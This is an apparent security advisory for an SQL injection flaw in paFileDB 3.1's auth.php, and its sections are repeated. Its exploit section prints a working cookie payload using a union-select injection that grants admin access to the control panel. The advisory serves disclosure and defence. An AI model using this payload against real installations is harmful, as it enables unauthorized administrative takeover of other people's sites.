PAFileDB Auth.PHP SQL Injection Vulnerability
BID:14654
Info
PAFileDB Auth.PHP SQL Injection Vulnerability
| Bugtraq ID: | 14654 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 24 2005 12:00AM |
| Updated: | Aug 24 2005 12:00AM |
| Credit: | deluxe89 is credited with the discovery of this vulnerability. |
| Vulnerable: |
PHP Arena paFileDB 3.1 |
| Not Vulnerable: | |
Discussion
PAFileDB Auth.PHP SQL Injection Vulnerability
paFileDB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
Exploitation of this issue may allow for compromise of the software, session hijacking, or attacks against the underlying database. Other attacks are also possible.
paFileDB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
Exploitation of this issue may allow for compromise of the software, session hijacking, or attacks against the underlying database. Other attacks are also possible.
Exploit / POC
PAFileDB Auth.PHP SQL Injection Vulnerability
No exploit is required.
The following example is available:
Create pafiledbcookie
Content is:
[MD5 IP]%7CaG'+union+select+1,2,'pass',4,5/*%7Cpass
navigate to:
"http://www.example.com/pafiledb.php?action=admin":
once there, attacker is logged in as admin in the access control panel.
No exploit is required.
The following example is available:
Create pafiledbcookie
Content is:
[MD5 IP]%7CaG'+union+select+1,2,'pass',4,5/*%7Cpass
navigate to:
"http://www.example.com/pafiledb.php?action=admin":
once there, attacker is logged in as admin in the access control panel.
Solution / Fix
PAFileDB Auth.PHP SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
PAFileDB Auth.PHP SQL Injection Vulnerability
References:
References:
- paFileDB Homepage (PHP Arena)
- PaFileDB 3.1 - SQL-Injection ([email protected])